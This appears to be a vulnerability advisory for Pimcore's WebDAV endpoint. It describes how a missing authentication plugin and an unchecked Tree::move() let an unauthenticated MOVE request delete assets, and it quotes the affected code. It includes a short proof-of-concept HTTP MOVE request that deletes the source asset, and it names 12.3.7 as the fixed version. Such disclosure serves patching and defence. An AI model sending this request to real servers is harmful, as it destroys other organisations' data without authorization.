Pimcore's WebDAV asset endpoint exposes a MOVE operation through /asset/webdav{path} without adding an authentication plugin in the WebDAV controller. The Tree::move() implementation then performs asset mutation and deletion before checking a current Pimcore user or any asset permissions.
An unauthenticated remote attacker who knows two existing asset paths in the same directory can send a WebDAV MOVE request that deletes the source asset. Authenticated low-privileged users may also be able to perform unauthorized asset move or overwrite operations because the move path does not enforce rename, delete, create, or publish permissions.
The route for WebDAV is globally registered and accepts arbitrary trailing paths:
# bundles/CoreBundle/config/routing.yaml
pimcore_webdav:
path: /asset/webdav{path}
defaults: { _controller: Pimcore\Bundle\CoreBundle\Controller\WebDavController::webdavAction }
requirements:
path: '.*'
The controller constructs a SabreDAV server but only attaches lock and browser plugins. It does not attach an authentication plugin or perform an explicit user/session check before starting the server:
# bundles/CoreBundle/src/Controller/WebDavController.php
$publicDir = new Asset\WebDAV\Folder($homeDir);
$objectTree = new Asset\WebDAV\Tree($publicDir);
$server = new \Sabre\DAV\Server($objectTree);
$server->setBaseUri($this->generateUrl('pimcore_webdav', ['path' => '/']));
$server->addPlugin($lockPlugin);
$server->addPlugin(new \Sabre\DAV\Browser\Plugin());
$server->start();
Most WebDAV file and folder operations perform permission checks through isAllowed(), but Tree::move() does not. In the overwrite path for a same-directory move, it deletes the source asset before resolving the current user:
# models/Asset/WebDAV/Tree.php
if (dirname($sourcePath) == dirname($destinationPath)) {
if ($asset = Asset::getByPath('/' . $destinationPath)) {
$sourceAsset = Asset::getByPath('/' . $sourcePath);
$asset->setData($sourceAsset->getData());
$sourceAsset->delete();
}
...
}
$user = \Pimcore\Tool\Admin::getCurrentUser();
$asset->setUserModification($user->getId());
$asset->save();
Asset::delete() removes the asset without an internal permission gate:
# models/Asset.php
public function delete(bool $isNested = false): void
{
...
$this->getDao()->delete();
...
$this->deletePhysicalFile();
}
Because the source asset deletion happens before $user->getId(), an unauthenticated request can still cause a deletion even if later execution fails when no current user is present.
Prerequisites:
/products/source.jpg and /products/existing.jpg.PoC request:
MOVE /asset/webdav/products/source.jpg HTTP/1.1
Host: target.example
Destination: http://target.example/asset/webdav/products/existing.jpg
Overwrite: T
Result:
The server will return an error after the deletion because Tree::move() later attempts to call $user->getId() when no current user exists. However, the source asset at /products/source.jpg has already been deleted by $sourceAsset->delete() before that failure point.
For an authenticated low-privileged backend user without sufficient asset permissions, the same request can also reach the unchecked move path and may overwrite the destination asset or move an asset without the expected per-asset permission checks.
This issue allows remote unauthorized destruction of assets when paths are known or guessable. In Pimcore deployments where assets represent product images, documents, media, or DAM-managed business content, deletion or unauthorized overwrite can cause data loss, content integrity loss, and service disruption.
| Software | From | Fixed in |
|---|---|---|
pimcore / pimcore
|
- | 12.3.7 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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